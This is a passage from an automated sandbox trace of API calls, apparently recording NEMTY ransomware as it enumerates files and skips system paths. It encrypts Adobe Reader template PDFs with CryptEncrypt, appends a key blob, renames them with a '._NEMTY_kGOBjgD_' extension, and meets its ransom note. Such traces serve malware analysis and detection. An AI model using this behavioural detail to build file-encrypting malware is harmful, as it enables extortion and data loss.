10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.332] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=75414) returned 1 [0172.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12690) returned 0x6352c48 [0172.332] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.332] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12690, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12690, lpOverlapped=0x0) returned 1 [0172.338] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.338] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12690, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12690, lpOverlapped=0x0) returned 1 [0172.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.339] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=75414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12696 [0172.339] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.339] CloseHandle (hObject=0x3b0) returned 1 [0172.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.339] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.341] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c35, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.341] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.341] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.341] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.341] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.341] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.341] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.341] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.342] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.342] Sleep (dwMilliseconds=0x5) [0172.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a5f9bb0, dwHighDateTime=0x1d561e8)) [0172.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a5f9bb0, dwHighDateTime=0x1d561e8)) [0172.347] GetLastError () returned 0x0 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.347] GetLastError () returned 0x0 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.347] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.347] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.347] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.347] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="/RfwduKYl9B8f1/vLssEVVI0446e0y7G0YzYmT8aABZLiM8AV0mb2nVY97RStu2U\r\n24UZqflfFbVZfebuSFzLXDXw/XnbBYuvVPdPgW+GtvssbRfcIG+XX3zfIOgoy7wz\r\n/WfzkwYFwlwd3TkY7ZfmFBQF+0jSacsTdUVFpzlQI1SRgShQNX6Hq603xMUFRFhC\r\nUAUMr77fLEFNfbfRc6/uULZ5k2UVvF76ogRVEIl8i8jQhHh0BbvaUuQMsZQzHmn7\r\nOK6HcR/gKlFg5sOvMcMFAJRUIaBbMs2yVvLl10UwJNL8JOF1kr3qbRJiTviAihuW\r\nM5quPgY/kl0n2sS4I/rSPg==\r\n", pcchString=0x653e5dc) returned 1 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.348] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=72757) returned 1 [0172.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11c30) returned 0x6352c48 [0172.348] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.348] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11c30, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11c30, lpOverlapped=0x0) returned 1 [0172.354] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.354] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11c30, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11c30, lpOverlapped=0x0) returned 1 [0172.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.355] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=72757, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c35 [0172.355] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.355] CloseHandle (hObject=0x3b0) returned 1 [0172.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.355] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.356] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a587790, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a587790, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a587790, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.356] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.357] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a587790, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a587790, 